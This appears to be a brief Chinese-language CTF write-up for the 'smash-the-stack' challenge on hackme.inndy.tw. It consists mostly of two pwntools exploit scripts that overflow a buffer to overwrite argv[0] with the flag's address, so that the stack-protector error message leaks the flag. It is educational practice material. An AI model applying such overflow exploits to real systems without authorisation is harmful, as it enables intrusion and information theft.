hackme pwn smash-the-stack [stack smash]

根據提示：stderr！和32C3的readme一樣，原理看上篇，這裏貼兩個exp

#! /usr/bin/env python
# coding=utf-8
from pwn import *

#io = process('./smash-the-stack')
io = remote('hackme.inndy.tw', 7717)

argv_addr = 0xffffcfa4
buf_addr = 0xffffcee8
flag_addr = 0x804a060

payload = 'a' * (argv_addr - buf_addr) + p32(flag_addr)
io.recvuntil('the flag')
io.sendline(payload)
io.interactive()

另外一個：

#!/usr/bin/env python
# coding=utf-8

from pwn import *

io = remote("hackme.inndy.tw", 7717)

flag_addr = 0x804A060
io.recvuntil("the flag\n")
payload = p32(flag_addr) * 0x300
io.sendline(payload)
io.interactive()
